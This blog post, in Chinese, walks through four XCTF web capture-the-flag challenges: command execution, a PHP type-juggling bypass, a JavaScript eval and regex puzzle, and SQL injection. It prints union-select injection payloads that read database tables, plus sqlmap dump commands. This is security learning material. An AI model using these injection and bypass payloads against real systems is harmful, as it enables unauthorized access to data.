攻防世界 web(二)

  1. 1、command_execution
  2. 2、simple_php
  3. 3、NaNNaNNaNNaN-Batman
  4. 4、NewsCenter
    1. 手动注入:
    2. Sqlmap自动注入:

这周接着刷攻防世界的web题( ̄︶ ̄)↗ 
1、command_execution
2、simple_php
3、NaNNaNNaNNaN-Batman
4、NewsCenter

1、command_execution

在这里插入图片描述
看提示这题为命令执行漏洞(command_execution),关于命令执行漏洞,我前面有篇博客详细介绍了,大家不了解的话的可以去看看https://blog.csdn.net/qq_43531669/article/details/99771487
先尝试一下127.0.0.1 发现执行成功,得到回显:
在这里插入图片描述
那没什么好说的了,直接查看目录下的所有文件吧:
在这里插入图片描述
得到这些,接着查看home目录下的文件:
在这里插入图片描述
发现flag文件,然后查看得到flag
在这里插入图片描述

2、simple_php

在这里插入图片描述
打开题目地址:

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?>

得到这么几串代码
意思是当a==0,但a的值又不能为0时输出flag1,b大于1234,并且b不是数字时输出flag2; 于是构造:?a=0a&b=12345A便可绕过得到完整的flag。在这里插入图片描述

3、NaNNaNNaNNaN-Batman

在这里插入图片描述

知识点:js代码(eval函数,alert函数)正则、代码审计

eval() 函数:可计算某个字符串,并执行其中的的 JavaScript 代码。
alert()函数:用于显示带有一条指定消息和一个确定按钮的警告框。

下载附件,以文本格式打开:
在这里插入图片描述
是一段JS的代码,改后缀为.html在游览器打开:
在这里插入图片描述
有一个输入框,但输入什么都没有反应,继续分析js代码 = ̄ω ̄= 审计代码可以看到eval函数执行了_变量中的内容也就是' '中的内容,但是,要注意的是,它并没有执行$()函数,仅仅执行了字符串而已(从而导致乱码),因而页面html页面没有任何显示,只显示了input标签的内容,但是我们想让源代码正常显示出来,不进行执行,那么,我们就用到了alert弹窗(将eval函数改为alert),将乱码的$()函数源码完整显示出来:
在这里插入图片描述
整理一下得到:

function $(){
var e=document.getElementById("c").value;
if(e.length==16)
   if(e.match(/^be0f23/)!=null)
      if(e.match(/233ac/)!=null)
         if(e.match(/e98aa$/)!=null)
             if(e.match(/c7be9/)!=null){
             var t=["fl","s_a","i","e}"];
             var n=["a","_h0l","n"];
             var r=["g{","e","_0"];
             var i=["it'","_","n"];
             var s=[t,n,r,i];
             for(var o=0;o<13;++o){
             document.write(s[o%4][0]);s[o%4].splice(0,1)}
             }
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _

分析代码,我们的目标是打印出document.write(s[o%4][0]);s[o%4].splice(0,1)}
因此我们要满足关键变量e的条件

e.length==16
e.match(/^be0f23/)!=null
e.match(/233ac/)!=null
e.match(/e98aa$/)!=null
e.match(/c7be9/)!=null

这里又用到了正则表达式 ^表示开头一定要匹配到be0f23,$表示结尾一定要匹配到e98aa,其它的只要匹配到就好,没有位置要求,于是构造e=be0f233ac7be98aa
在输入框中输入e的值,点击Ok
成功得到flag:
flag{it’s_a_h0le_in_0ne}

也可以直接将核心代码直接在控制台执行

var t=["fl","s_a","i","e}"];
        var n=["a","_h0l","n"];
        var r=["g{","e","_0"];
        var i=["it'","_","n"];
        var s=[t,n,r,i];
    for(var o=0;o<13;++o)
        {
         document.write(s[o%4][0]);
         s[o%4].splice(0,1)
        }

在这里插入图片描述

4、NewsCenter

在这里插入图片描述
这一题考察的是 SQL 注入,这里演示下手动注入和sqlmap两种方法。

手动注入:

首先查返回列,经测试共三列返回数据。在这里插入图片描述
接着查看数据库名,看到库名为news

在这里插入图片描述
查表名,构造命令:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 在这里插入图片描述
得到两个表,news中无数据,查看表 secret_table字段
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=' secret_table'
在这里插入图片描述
最后执行查询语句
0' union select 1,2,fl4g from secret_table#

在这里插入图片描述
得到flag。

Sqlmap自动注入:

首先用bp抓包,得到http文件头
在这里插入图片描述
保存为文本。然后执行命令: python sqlmap.py -r 1.txt --dbs 查数据库在这里插入图片描述
再执行命令: python sqlmap.py -r 1.txt -D news --dump 获取库中的所有数据在这里插入图片描述
得到 flag ! ( ̄▽ ̄)”/


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 2058751973@qq.com

×

喜欢就点赞,疼爱就打赏